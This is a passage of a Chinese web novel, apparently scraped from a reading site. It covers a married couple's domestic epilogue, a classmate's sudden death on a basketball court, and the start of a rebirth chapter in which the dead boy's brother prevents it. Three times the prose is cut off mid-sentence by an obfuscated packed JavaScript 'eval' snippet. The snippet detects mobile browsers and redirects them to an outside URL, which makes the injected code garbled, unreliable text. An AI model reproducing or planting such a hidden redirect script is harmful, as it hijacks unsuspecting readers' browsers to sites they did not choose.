张期期嗔笑地看了他一眼,“说什么呢?当初我的状态也不太好,这几年来不是你也在包容我吗?我们之间不需要说这些。” “嗯……”陈恕紧紧抱了张期期一下后松开了手臂,“那我去上班了……记得不要随便给陌生人开门。” “我知道了!路上小心。”张期期挥挥手目送陈恕开车离开。 …… 丈夫上班去了,孩子上学去了,张期期回到她个人专属的画室开始绘画,前几天接了单稿子,她一直没有灵感,怎么都下不了笔,这会儿她思维非常活跃,突然有了灵感。 屋内寂静无声,只剩下画笔刷刷在纸上滑过的声响,灵感迸发间,她的手速奇快无比。等她最终完成作品,放下画笔时,时间已经到了中午。 张期期全身酸痛,她坐了一早上骨头都僵硬了,站起身来伸了个懒腰,“十二点半了啊!” 还好陈恕最近比较忙,中午都在律所吃饭、安安又在幼儿园,所以她一个人的话只需要翻一下冰箱把早上陈恕做好的饭盒拿出来热一下就好了。 最近她越来越懒了,一个人在家也不想动手做饭,因此陈恕早上做早饭的时候会顺道做个午饭盒子,让她在家中午的时候热一下就可以吃了。 叮——微波炉响了一声。 张期期拿出午饭盒子,掀开来,热气腾腾、香气缭绕,不得不说陈恕近两年的手艺越来越好了,估计是给女儿做饭习惯了,连带着给她做午饭盒子也弄得很可爱。 爱心形的煎蛋、切成一小段一小段的青菜,摆成小熊图形的米饭,上面还撒了黑芝麻粒充当小熊的眼睛…… 她噗嗤一声笑了出来,从厨房拿了筷子出来,坐在餐桌前吃着,她吃着吃着发现客厅的监控摄像头在摇动着,便放下筷子朝监控摄像头招了招手。 很快,摄像头就停了下来,对着她,张期期也不在意,打完招呼后就继续吃饭。 她知道监控摄像头的另一边是陈恕,他正在看着她,他在家里的客厅、走廊、玄关处都安装了摄像头,她知道他有心结的。 林听读研一的时候,她就和陈恕结婚了,婚礼举办地点和先哥的婚礼时一样,山青水秀的好地方。 张期期记得结了婚之后的某一天,陈恕突然做了噩梦,半夜惊醒,醒来后整个人脸色煞白,眼神恐惧难安,那天晚上她抱着他安抚了他整整一晚。 第二天她原以为昨晚只是个噩梦,很快陈恕就会将噩梦忘掉,但她没想到陈恕愈演愈烈,非要换房子,好在他们家经济条件完全不用担心,换就换吧…… 陈恕托了关系,花了钱,将房子买在了治安最好的地区,房子不远处就是警察局、机关单位宿舍楼、科学院研究所……这片儿地区常年有警察执岗,安全得不能再安全了。 这还不够,他还将家里的门换成了结实厚重的那一种,窗玻璃全部换成双层钢化玻璃,还在家门口附近、家里安装了监控摄像头。 等到安安出生之后,她就发现陈恕不止担心她了,还担心孩子,平日里他们带着孩子出门玩的时候,只要有路人走得离他们一家近了一点,他一定立刻将安安抱在怀里,生怕安安像他小时候那样被人拐走了。 童年的阴影一直在覆盖在陈恕的心上,张期期心疼不已,因此她对安安的看顾也很紧,上幼儿园之前出去外面玩的时候,从没有让她脱离过自己的视线,从没有让她距离她十米之外。 她包容着陈恕的童年心理阴影,正如陈恕也在包容着她的应激反应一样,这也是她婚后自己才慢慢意识到的事情。 不过没关系,就像她的失眠一样,总会像现在一样慢慢变好的。未来的日子还很长很长,在柴米油盐、人间烟火里,过去的苦痛终将淡去、终将释怀…… * 金颂律师事务所。 这几年律所的规模越来越大,陈恕和周嘉先原先租着办公的那一栋面积较小的二层的建筑已经不够用了,因此他们重新找了栋面积较大的大厦,租了两层。 大厦内不止金颂律所,还有其他各行各业的办公室。 大厦的物业管理人员平日里就在负一层的员工餐厅吃饭,陈恕、周嘉先和大厦的物业高层管理人员商量了之后,对方同意了他们律所的员工也可以去他们物业的员工餐厅吃饭,律所会负责报销他们员工这部分餐费。 因此现在一到午饭时间,金颂律所的同事们就往负一楼的员工餐厅赶,陈恕偶尔忙的时候也会在员工餐厅吃饭。 正值中午,陈恕起身走过去敲了敲周嘉先的办公室门,道:“走吗?下楼吃饭?” 周嘉先按掉了香烟,微笑道:“走吧。” 电梯缓缓下降,陈恕瞥了他一眼,“怎么烟还没戒啊?” 周嘉先笑了一下,“戒不了了。”他也不欲多说,陈恕见状便也不多问,两人并肩着往员工餐厅走去。 打了饭,陈恕、周嘉先并排着找了个位置坐,陈恕点开手机,打开了家里的监控设备,操作了方向,便看到监控里面期期正低着头吃饭,发现他在透过监控看她时,她甚至朝监控摄像头挥了挥手…… 陈恕忍俊不禁,嘴角微微上扬,也拿起筷子开始吃饭,边看边吃。 一旁的周嘉先瞥了一眼监控,再瞥了一眼嘴角压都压不住的陈恕,他的头顶仿佛飞过一群乌鸦一样感到无语……结婚好几年了还一副黏糊糊的样子。 他下巴微微抬了抬,“有点夸张了吧?你这样子……” 陈恕瞥了他一眼,没说话,继续看着手机里的监控摄像头,期期不知道有没有把饭全部吃完,他早上做的饭盒并没有做得很满…… 陈恕不理会他,周嘉先也就收回视线,他心不在焉地吃着饭,指尖在微信某个人的通话页面上刷了又刷,没刷出最新的消息,页面上全部都是之前的信息,他手一松任由手机落在桌面上,只能选择先吃饭。 沉浸在各自心绪中的陈恕和周嘉先都没有发现方才他们俩的身后走过一群律所的员工,等到两人吃完午饭走出员工餐厅时,那群憋了很久的员工开始吐糟。 “周律师那是五十步笑一百步吧,我刚刚可看见了他微信聊天界面是婚纱照,可见刚才他就是在等他老婆发给他,他还好意思说老板!” “就是就是,我刚才都想笑了……还好忍住了。” 新来不久的员工突然一脸哀愁,“我们律所很好啊,但是听说恋爱脑的老板容易事业不行,我们律所将来不会倒闭吧……” 她是律所新招的文员,对律师圈子不熟悉,所以并不知道她自己现在工作的律所算是京照市业内数一数二的有名律所了。 方宜若有所思地沉吟了片刻,道:“这个你放心,肯定不会。要是因为恋爱脑就破产,那我们律所早破产八百回……了,不至于现在还开着……” 啊……你这……到底是在夸律所还是在损律所啊? …… 另一边,陈恕回了办公室之后,又拿出手机点开了今天早上期期给他下载的软件app,软件打开之后他就看到了幼儿园教室内全班小孩子都在睡觉的场景。 他微微眯起眼睛辨认了一下,认出睡在最角落的是他的女儿安安。他拇指和食指挪了挪,将页面放大,果然看到了睡得很香的女儿安安。 陈恕露出了满足的笑容,心里仿佛被填得胀胀的,他将手机竖起来靠着笔筒,一边工作一边偶尔看看幼儿园里安安的动态。 进来汇报工作的助理小林:…… * 日落西山,天边缭绕着赤色的火烧云,而头顶湛蓝的天澄澈无比,红与蓝之间的分界线分明。从大厦下班的员工纷纷停下脚步,拿出手机拍下这好看而神奇的一幕,赞叹着大自然的鬼斧神工。 陈恕却脚步不停地拉开车门,上车,关门,启动车子,他迫不及待地想回家了…… 前方的路口是红灯,陈恕缓慢放下车速,随后开了窗,让微凉的晚风吹进车内透透气。他余光瞥见路边新开了一家香薰店,他眼眸微动,将车开到了路旁停下。 香薰店内的客人大部分都是年轻的女孩子,陈恕人高马大,穿着一身黑色西装属实罕见,他与这香薰店看起来格格不入。 陈恕神情倒很自然,这几年他已经习惯了期期每一次路过香薰店必然进去逛的行为,因此不知不觉间他也被同化了一样。 鉴于他的超忆症,期期买过的香薰种类他都记得,因此他挑了一个她没有买过的味道。 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049969|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小区门口时,即便是业主的陈恕也依然被例行询问了一番才被放进小区,陈恕一点都没有觉得麻烦,反而对他们这种认真的态度很有好感。 这个小区的安保请的都是专业的退役军人,这也是陈恕安心的一点。 “期期、安安,我回来了……”陈恕提着小袋的香薰礼品朝室内喊道。 片刻后,一个粉雕玉琢的小女孩光着脚滴溜溜地从房间内跑出来,“气势汹汹”抱住了陈恕的大腿,奶声奶气喊道:“爸爸,我好想你啊。” 陈恕觉得自己的心都要融化了,他蹲下身子,将小女孩抱起来,让她坐在他的手臂上,“爸爸也好想你啊!要不然,明天还是爸爸开车送你上学,妈妈开车接你放学好了?” “呀,不、不要。我不要。”安安想到和她一样坐校车的小伙伴,立刻拒绝了。 陈恕抱着娃几乎都要流宽面眼泪了,他又被安安拒绝了啊! 张期期眼眸带笑地从房间走出来,接过他手中的公文包和小礼品袋子,惊讶道,“这是……新味道的香薰!” 陈恕抬眸望着期期,“对,光华路新开了一家香薰店,有空我们再去逛逛。” “好啊!我先去把它放在房间里。”她拎着香薰脚步轻快地跑进了房间里。 陈恕看着她的背影眉眼带笑,收回视线后,他朝安安道:“爸爸给你开下电视,安安先看看电视好吗?” “爸爸我想看萌鸡小队。” “好。” …… 给女儿安安开了电视后,陈恕将西装外套脱掉,随手放在了沙发的靠背上,又松了松领带,他快步走向房间内。 这个房间是专门用来存放期期喜欢的东西的,墙面上打了一整面墙的柜子,上面放着一整面墙的香薰,就像别人置办手办一样,另一面墙则是放着她囤的各种颜料和画笔等等…… 此时,张期期正在拆开包装精美的小盒子,她将香薰拿出来,手在香薰上方轻轻扇动了一下,闻着新的味道。 唔……好好闻啊!清冽甘甜的味道。 身后忽然有人环抱着她,张期期愣了一下,随即笑道:“你怎么没陪安安看电视啊?”平日里他一下班就喜欢先陪女儿安安看半个小时的电视,再去厨房将她已经备好、洗好的菜炒了。 “我想陪你。”陈恕将头埋在她的脖颈处,说话时嘴唇若有似无地碰着。 张期期放心地将自己的重量往后靠,贴在他的胸前,侧首抬起头蹭了蹭他的下颌角,陈恕眼眸微沉,将怀里的人转了个方向,垂头狠狠地吻上去。 客厅里,萌鸡小队的片头曲还在响着,女儿安安稚嫩的声音跟着断断续续地唱着,而他怀里的女人倚靠着他,被他亲得眼尾泛红…… “爸爸妈妈,快来陪我看电视!” “快来!” 安安一回到家里就比较黏人,张期期拍了拍陈恕的手臂,示意他停下来,陈恕目露遗憾,但女儿在催促,他也不好再亲下去了,便放开了怀里的人。 他指腹摩挲着她红艳的嘴唇,眼底深沉又炙热,张期期当然知道他这样的眼神意味着什么,她脸一红,转身就跑。 “安安,妈妈来了……” 陈恕笑了笑也跟在她的身后,一家三口坐在沙发上一起看了半小时的电视。半个小时后,陈恕卷起长袖袖口,走进了厨房,而张期期则跟女儿在客厅玩起了玩具。 天色渐黑,整座城市慢慢亮起了灯火。 陈恕将饭菜端到桌上,又将碗筷摆好,这才喊道:“期期、安安吃饭了。” “好。”张期期应了一声,朝女儿道:“安安,我们去洗手吃饭了。” “洗手、吃饭。” 餐桌上方暖色的灯光照耀着,食物香气馥郁,窗外风声渐起,仿佛即将要下雨了一样。 安安瞪着眼睛看了看,含糊道:“明天下雨了,爸爸妈妈,我能在家里看电视不去上学吗?” “不行哦……”张期期摇摇头,“电视可以放学回家再看,该上学的时候是一定要上学的哦!” 安安嘟了嘟嘴,看向陈恕,陈恕也摇摇头道,“不可以哦。” “那……爸爸妈妈我可以不读那么久吗?我才不要像林阿姨一样一直一直在读书。” 张期期噗嗤一声笑了出来,林听研究生毕业之后又继续读博,现在确实还在读书。她朝安安道:“等你长大了,这个问题你可以自己决定哦!” 安安一本正经地点了点头,“好!” 陈恕笑了笑,“林听读完博有什么打算吗?” 张期期:“大概她想争取在华大留校任教吧。” 陈恕点了点头,没有说什么,他余光一瞥看见女儿安安将碗里的菜又勺了出来,便道:“安安,菜也要吃哦……” “哦!”安安不情不愿地勺了菜放进嘴里,吃得愁眉苦脸。 张期期、陈恕四目相对,都被女儿的表情逗笑了…… 窗外万家灯火,而这万家灯火中也终于有属于他的一盏,陈恕望着身边的一大一小,年少空荡的心被填得满满胀胀的,他的全世界就在他的身边…… 127. 番外二 - 窗外一道紫色闪电划破天际,闷雷炸响,教室的窗户都被震得嗡了一声。噼里啪啦的雨水浇下来,暴雨如注。 林听皱着眉头,笔尖停了下来,刚才雨还没下时,兰亭去宿舍楼拿试卷了,按理来说应该回来了啊……怎么去了那么久?他也没带伞。 她身体下意识地往后转,“期期……兰、”她的话卡在了喉咙里,身后属于期期的座位空无一人,林听抿了抿唇,对啊,期期今天不知道怎么地也没来学校…… 她又望了望陈恕的座位,刚才见陈恕在教室外,这会儿不知道去了哪里,在年级办公室吗? 怎么……怎么心好慌啊!林听忽然捂住了猛然跳动起来的心脏,怎么回事?怎么了? 一声急促又凌乱的脚步声响起,教室门口出现了一个浑身上下湿透了的男同学,是他们重点一班的学生。 他的头发、衣服全部在滴着水,脸上也全是水渍,但林听还是一眼看见了对方满眼的泪水和发红的眼眶。 他靠在教室的门框上,气喘吁吁甚至咳嗽起来,一班的同学吓了一大跳,周嘉先率先反应过来,他跑过去扶着对方,道:“怎么了?怎么搞成这样?” 班上的同学有的停下手中的笔忧心忡忡,有的反应大的站了起来,“怎么回事?难道有人欺负你了……” “不!不是……呜呜呜……” 大家更是吓了一大跳,急得不行,怎么还哭了! 林听听到自己心脏砰砰直跳着,她紧紧攥着手指,盯着男生看。 “出事了!出事了!兰亭出事了!篮球场那边来了救护车,那些人在摇头,兰亭好像死了……那些人说他摔断了脖子……” “老师、校长全部在那里……他们用白布把兰亭盖上了。” 轰—— 窗外又是一阵闷雷响起,林听脸色瞬间惨白,她摇晃了一下,随即拔腿就往外跑,周嘉先死死咬着牙,去追林听了…… 教室里众人瞪大双眼,他们仿佛透过淅淅沥沥的雨水声听到了隐隐约约传过来的救护车笛声。寂静无声,众人面面相觑,轰隆一声闷响再次炸响,他们朝着门外狂奔出去…… 磅礴的雨水一直往下浇着,所有人都湿透了全身,鞋底踩在水坑上飞溅起了水花,视线变得模糊,他们随手一抹抹去了雨水,但抹不去眼眶中持续溢出的泪水。 透过朦胧的雨幕,他们都看见了盖着白布的担架被医护人员搬上了救护车后厢,曾老师、校长拦着先他们一步的林听和周嘉先,对着他们俩摇了摇头。 王思、蒋文、关宇几人猛地冲上去,越过了所有人,抓住了担架,他们瞪着眼睛看着救护人员,雨水落入他们的眼眶,疼痛难忍。 “同学,请放手,他的遗体我们要送往殡仪馆。” “你放屁!不可能,你救都没救,就宣布他死了……” “我不信。什么殡仪馆,去医院,去医院你懂不懂啊!” “同学……” 双方僵持不下,一班的女同学三三两两抱在一起哭,尖锐的哭声刺进所有人的心中,男生握着拳头眼巴巴、红着眼眶盯着医护人员看。 曾培、校长还有几个主任跑上去,揪着王思他们的领子把人往后拽,校长喊道:“雨这么大,你们还不让他安息吧。” “不……”王思赤红着眼,校长过去掰开了他的手指,将人拖拽着往后,医护人员趁势准备将担架放上去。 然而担架一动不动,医护人员看向另外一个默默拽住担架的男生,对方手臂上青筋暴露。 曾培喝了一声,“周嘉先,放手!” 周嘉先一动不动,死死咬着牙。 “别让他再淋雨了。”曾培走过去,攥住了他的手腕,“放手吧。” 雨好大啊!周嘉先感觉他好像什么都看不见了一般,视线模糊不清,他松开了力道,任由曾老师拽下了他的手,别再淋雨了,兰亭…… 闪烁的救护车灯隐没在暴雨如注的世界里,这是年少的他们第一次面对同龄人的生离死别,他们恍恍惚惚站着,目送那个张扬肆意的少年就此离去。 …… “回去吧!都回去吧……”校长、主任、老师一个个地赶着这群学生,将他们半拖半拽地拎进教学楼,校长抹了把脸,喊道:“都先回宿舍洗个澡,洗个热水澡,可不能着凉感冒了。” 后勤主任赶紧打了个电话,让宿舍楼的宿管阿姨把热水拧开,别管是不是开放热水的时间段了…… 曾培把几个科目的男老师、女老师全部叫了过来,一人分配一些同学,压着他们去宿舍洗澡,看着他们,生怕给这些孩子受不了又出事。 林听瞪着大大的眼睛,仿佛失了神一样,她白着张脸,一深一浅地呼吸着,除此之外没发出任何声响。 她的眼眶是红的,是因为雨水跑进了眼睛里,她没哭。 英语老师把泪水憋了回去,轻轻牵住了林听的手腕,柔声道:“老师带你回去宿舍洗个澡好吗?” 她说了好几遍,林听眼神才有了焦距,她仿佛思维卡顿了一样,愣了好久才想清楚老师在说什么,“我自己去就行。”她拂开老师的手往教学楼外走。 英语老师自然不同意,伸手想抓住林听,周嘉先朝英语老师道:“老师,我送她回去,麻烦您看看我们班其他女同学。” 英语老师下意识地看向其他女学生,有的胆子小的现在都白着脸,还在发抖。她立刻走过去也将人抱在怀里,“没事了没事了,老师会陪着你们的。” 一眨眼间,等她安抚了胆小的女学生,周嘉先已经从教学楼门口的保安借了一把伞追上了林听,他撑着伞走在林听的身旁。 英语老师也住在教师宿舍楼,她自然知道林听和她奶奶也住在那里,那间小套房里,林听、张期期、陈恕、许兰亭、周嘉先时不时聚在一起学习,这几个学生之间很要好,或许只有他们几人彼此之间才能安抚对方吧…… …… 林听静静地往前走,一脚又一脚地踩进一个又一个水洼,她眼神混沌,仿佛行尸走肉一般,也没注意到身旁的周嘉先,世界仿佛只剩下她一个人。 周嘉先抿了抿唇,声音干哑,“林听,你这个样子,等下林奶奶会担心的。” 林奶奶……奶奶…… 林听的脚步一顿,奶奶的音容笑貌浮现在她脑海里,啊,对,她不能让奶奶担心,奶奶心脏不好,受不起刺激,她不能这个样子回去。 最终周嘉先将人带到了女生宿舍楼,和宿管阿姨说了一声,很快洗完澡的雷婷就从宿舍楼下来了,她朝周嘉先点了点头,将林听带到了她的宿舍,拿了干净的衣服递给她,让她在她那里洗了个澡。 …… 沉默在整个教室里蔓延着,以往即便学习再累,压力再大,重点一班的学生都能够自我调节,班级里的王思、蒋文、关宇几人也会做出一些搞笑的事情逗笑了一整班的同学。 但……至那一天后,重点一班除了读书背诵的声音之外,再无说笑声,整个班的气氛沉闷至极。在高考的紧要关头,谁都不敢再流泪,因为他们知道谁先流泪,都只会让班里其他同学难受加倍。 林听攥着指尖,疼痛让她保持着清醒,她瞪着眼睛看着桌面上的学习资料,眼睛眨也不眨,仿佛这样就能表现出她的专心致志。 偶尔她会下意识地回过头来,然而看到张期期空无一人的座位时,她眼底闪过落寞、继而怨愤。期期到底去了哪里?怎么忽然之间一切都变了…… 她的心好痛好痛! 真的好痛好痛啊! 她压抑着如同海面下波涛汹涌的情绪,所有的心神和力气都花在了学习上,再抽不出其余的精力去关注其他的事了…… 而某一天,曾老师离开了,张扬老师回来了…… 张老师什么都没说,他只是站在那里,班里的同学陆陆续续哭了出来,而她还是没有哭,还没到时候,她还要高考呢! 兰亭说过的,只要考上好的大学,毕业出来之后工资会比其他大学生高,她要赚钱,她还要还债呢,她还欠了兰亭十几万块钱呢……所以她要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049970|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好学习,顺顺利利参加高考,尽快把钱还上…… 天气越来越热了,太阳也越来越晒了,林听发现张扬老师一直在时不时地观察着她,观察她什么呢?她心想,她可没有不认真学习啊! 有一天她听到王思羡慕道:“先哥,好羡慕你啊,已经保送了,我要是你的话,早就不来上课了,在家里多舒服啊,在学校……” 他叹了口气,“我真的……很难不去想兰亭。先哥……我……” 林听听到那个名字时,下意识想赶紧走开了,她嘴里念念有词,开始背英文单词。她听到先哥说,“我总要看着她,替兰亭看着她……” 林听走开了,不想再听,她没时间,她得学习,她得还钱。 …… 夜晚,乌云沉沉。 奶奶已经睡着了,林听猛然回过神来,她看了一眼时钟,发现自己发呆了好长一段时间,而试卷上只孤零零地写了几个单词。 愧疚和自责瞬间侵袭而来,她狠狠掐着自己的手背,头撞了撞墙面,勒令自己集中精神。 林听有些恍惚,她找不到能够让她坚持下去的那股气了,怎么办?怎么办?她还有奶奶呢,期期……期期怎么不在。 哦,张老师说她的档案都拿走了,是像国际班的同学一样出国了吗?对,本来她和国际班的同学就是一个圈子的。 这一刻,林听忽然想起来那句话,那一日篮球场上,他们拎着垃圾袋,期期说了,「你那么喜欢篮球,你一辈子睡在篮球场上好了。」 天旋地转,她好似被扔在了洗衣机的滚筒里一样,被无尽的情绪搅弄着,怨恨、憎恨,期期那一日为什么要那么说兰亭,是她,是她诅咒了兰亭……她仿佛从怨恨中汲取到了力量一样。 盛夏来临,高考如约而至…… 当最后一门科目结束的铃声响起时,林听浑浑噩噩地走出考场,他看到了向她走来的周嘉先,一直压抑着的情绪如同黄河之水般从天而降,泪水再也没有了闸口,她嘶哑着哭了出来,她很痛很痛……接着是眼前一黑…… * 夜晚起风了,薄薄的窗纱被风吹起,黑暗中女人低声啜泣的声音响起,仿佛在被梦魇着哭泣。桌面上放着的一小瓶泥土忽然发出朦胧的微光,谁也没有看见。 半响后,林听猛然惊醒,她摸了摸被泪水浸湿的枕头,神情有些恍惚,眼神没有焦距地望着昏暗的天花板。 快十四年了吧,十四年来兰亭从未进入过她的梦里,他吝啬到一次都没来梦里看过她,然而刚才她居然梦到了他…… “兰亭……” 她再次沉沉入睡,希望梦还能继续延续下去,梦里他和她骑着单车行驶在何榕大道上,两旁的榕树繁茂盛大,向天际狰狞地延伸着…… 她嘤咛一声,睡梦中调整了一下睡着的姿势,恍惚中好像什么冰冷的东西躺在了她的身侧,有点冷,但是好安心好安心啊……她下意识紧紧靠了过去。 冷?是她忘记关窗了吗?唔……算了,不想起来关窗,她下意识留恋着什么,紧紧挤着让她觉得安心的地方。 “林听……”她恍惚中听到有人满怀眷恋轻声呢喃着她的名字。昏暗中,桌面上那装着泥土的玻璃瓶里空空荡荡。 翌日,阳光洒进房间内,随着时间攀爬而上写字桌,林听缓缓睁开眼,她后半夜睡得很舒服,现在醒来后精神特别好。 日头是不是有些晒了啊!林听望向窗外,等等……天怎么这么亮,天这么亮!糟糕,她要迟到了,她早上有课啊! 惨了惨了,她要完蛋了,导师一定会骂她! 林听连滚带爬地从床上起身,冲进了浴室内,浴室内的水声响起,她没有听到她的房间内响起了一声男人的轻笑声。 桌面上玻璃瓶里装着的泥土在阳光的照耀下闪闪发光。 林听洗簌收拾好后,将桌上的笔记本和资料统统塞进背包里,又小心翼翼地拿起装着泥土的玻璃瓶放在了书包单独的格子里。 “兰亭,我们上课去……” 「好。」 128. 番外三(重生) - 秘书小陈看似神色自然地汇报着工作上的事情,实则他现在完全是头皮发麻的状态,为什么自家老板要这么看着他?他最近工作上没犯什么错啊!没……吧? “……老板,还、还有什么事情吗?” 许敬亭闻言有些恍神,任谁睡了一觉醒来之后发现自己的秘书仿佛年轻了十几岁的样子,都会有些迷茫和想不通吧?是什么美容项目?这么有效果? 然而,此刻混乱的记忆却在提示着一个事实,他好像睡了一觉之后回到了十几年前。 十几年啊……漫长的岁月,许敬亭忽然想起来他的弟弟许兰亭。这个时候兰亭还活着吗?曾经那些悲呛的回忆和回忆里的人在漫长的岁月中渐渐褪色,但……一想到他的弟弟可能还活着,许敬亭的心止不住地强烈跳动起来。 他的指尖微微颤抖,两重记忆在这一刻混乱了起来,身边又找不到手机,他顾不得秘书小陈会怎么想了,直接问道:“现在是什么时候?” “中午一点半。” “我说哪一年那一天。” 秘书小陈:…… 尽管不理解,但他还是报了个时间点,年月日时分一字不差。 许敬亭猛然起身,这一天就是兰亭的忌日,现在是中午一点多,还有一个小时就是兰亭死亡的时间点。现在从这里开车出发到京照一中大约就需要一个小时的时间。 “我的手机呢?”许敬亭眼神慌乱,四处找手机。 秘书小陈都懵了,一向泰山崩于前都面不改色的老板怎么突然变得这么奇怪了,但鉴于良好的职场素质他即便心中再有疑问,也知道应当先完成老板的事情,所以他迅速将茶几上正在充电的手机拔了过来…… “老板,手机在这。” 许敬亭顿了下,他对手机的印象还停留在十几年后的触屏手机,因此刚才在视线瞥过这把老古董手机时他并没有立刻意识到这是他的。 他抄过手机,看到通讯里最上面就是兰亭的电话号码,他拨打过去,但对面一直没人接。 许敬亭脸色一变,边一次次打着电话,边起身往外走,“小陈,开车,我们现在去京照一中。” “好的,老板。”秘书小陈果断跟上老板。 一路上汽车飞驰着,几乎是压着限速的最上限行驶,可偏偏遇上了红灯,前后左右都堵住了,车子完全动弹不得,眼看着快到那个时间点了,许敬亭急得双眼发红。 他捶了一下后座的沙发,手机还保持着拨打了电话过去,等待对面接通的程序。 【喂?】是小女生尾音上扬的调子。 许敬亭愣了一下,这是……林听!他慌张又小心翼翼地拿起了放在一旁皮质座位上的手机,“是林听吗?” 【是的,你是兰亭的哥哥对吧?不好意思,刚才兰亭的手机一直在响,我怕有什么急事就……】 许敬亭立刻打断她的话,道:“林听,你现在马上去篮球场找兰亭,不要让他碰篮球,现在就去,越快越好,用你最快的速度跑过去。” “林听,快去!” 电话这边,林听不知道怎的,灭顶的恐慌侵上心头,她下意识顺着许敬亭的话做,她攥着手机连挂断的时间都没有,拔腿就往篮球场跑…… 许敬亭没有挂断电话,他听着电话那边呼啸着的风声,急促的跑步声,仿佛在等待命运的审判。 时间一分一秒地过去,许敬亭的呼吸越来越沉重,等等……若是林听没及时赶到兰亭身边阻止兰亭打球,是否他刚才让林听赶过去则反而会让林听直接撞见兰亭死亡的当场…… 咚地一声,他的心猛然下坠,若真是这样,那对林听会是灭顶的打击和人生阴影。许敬亭开始自责起来,十几年了,她都走不出来,万一再是直面兰亭死亡的现场,她要怎么活下去…… 许敬亭牙关紧闭,额头青筋直跳。不远处交警在疏导着交通,他赶不过去了。命运难道是不可改变的吗?即便他回到了十几年前。 短短的这几分钟,却好像漫长得看不见尽头似的,许敬亭渐渐绝望…… 【兰亭!!!】 【林听,你怎么来了……】 听到他的声音,许敬绷紧的全身忽然都松泄了下来,他靠在椅背上,长长地呼出了一口气,命运没有再次给了一条绝路,他的弟弟兰亭活下来了…… …… 篮球场上,人声鼎沸,一群非高三生正在打篮球,突然篮球飞出了场外,“砰砰砰”一下又一下地击打着地面,最后泄力般地滚到了许兰亭的脚边。 “同学——能帮我们把球扔过来吗?”篮球场上的同学冲着许兰亭喊道。 许兰亭眉眼一挑,将数学试卷折叠后塞进校裤一侧的口袋里,他弯下腰,手掌将篮球控在手心,随后看向篮球框…… “兰亭!!!” 许兰亭一愣,循声望过去,惊讶道:“林听,你怎么来了?” 林听刷地一下冲过去,拍掉了他手中的篮球,篮球滚啊滚啊,滚向了那群非高三生的方向,对方喊道:“谢了……” 许兰亭眨了眨眼睛,奇怪道:“怎么了?” 林听气喘吁吁,眼神也透露出几分迷茫,但她心脏却在狂跳着,好像在庆幸着什么一样,她愣了愣,感受到另一只手手心攥着的电话,便道:“电话,你哥哥打电话给你了……” “我哥?”许兰亭更是迷茫,他接过电话,“喂……哥,你找我?” 汽车里,许敬亭眼神恍惚了一瞬,他好久好久没听到过兰亭的声音了,随着这一句话,那些在他记忆中渐渐褪色的过往忽然重新染上了生动的色彩。 “兰亭……” “嗯。”他并不知道他的这一声回答在许敬亭的耳朵里仿佛跨过了时光的洪流。 “到底怎么啦?哥!我等会儿还要上课呢!”许兰亭不耐烦道。 许敬亭:……好像还是这么欠抽! “你就站那儿等我,不要走动,我马上就到。” 前方道路已经被交警疏通了,秘书小陈开着车往一中而去。 许兰亭挂断电话,一头雾水,片刻后他忽然反应过来,靠啊!他哥占他便宜,「你就在此地,不要走动,我去买几个橘子」。 他挠了挠后脑勺,朝林听道:“我在这等等我哥,他要过来一趟。真是的,有什么事不能电话里说啊!” “好像快要下雨了,林听,要不你先回教室吧。” 天际上黑云压城般,浓云滚滚,一副风雨欲来的前兆。 林听微微摇了摇头,好像有什么东西她失而复得了一样,“等你哥哥来了,我再走。”按理说这学校里不会有危险,但好像潜意识里她不想让兰亭一个人落单。 “啊?也行吧。” 说话间,许敬亭很快就到了,他大步朝着篮球场走过来,身后还跟着秘书小陈。 “哥……你……”许兰亭话都没说完,迎面而来就是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061511|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥的拥抱,他哥狠狠地拍了拍他的后背,将他抱得紧紧的。 许兰亭:…… 秘书小陈:…… 林听:?? “不是,哥……你干嘛啊!”他都这么大了,许兰亭觉得自己鸡皮疙瘩都起来了。 许敬亭顺势松开手,压下心中的酸涩和庆幸,笑着道:“没事,挺久没见你了。我有些话想和你说。” 一旁的林听小声道:“那、兰亭……我先回去了,你和敬亭哥先聊。” 许敬亭顿了下,微微侧过头看着面容稚嫩的少女,林听见兰亭的哥哥看过来,想起之前对方给他们提供了滑雪内测的兼职,上次她摔伤了腿,也是对方抱着她去医院的,她眼底带着感谢,朝他笑了笑。 许敬亭也笑了,方才见到她时那些复杂的情绪顷刻间消散了,她再也不会见到他就双眼带泪,这一次她是真的,发自内心地笑了。 “小陈,你送她回教室。” 林听正想摆手拒绝,秘书小陈笑着低声道:“我们走吧,老板可能有事想单独和兰亭说。” 既然是这样,林听便点了点头。 …… 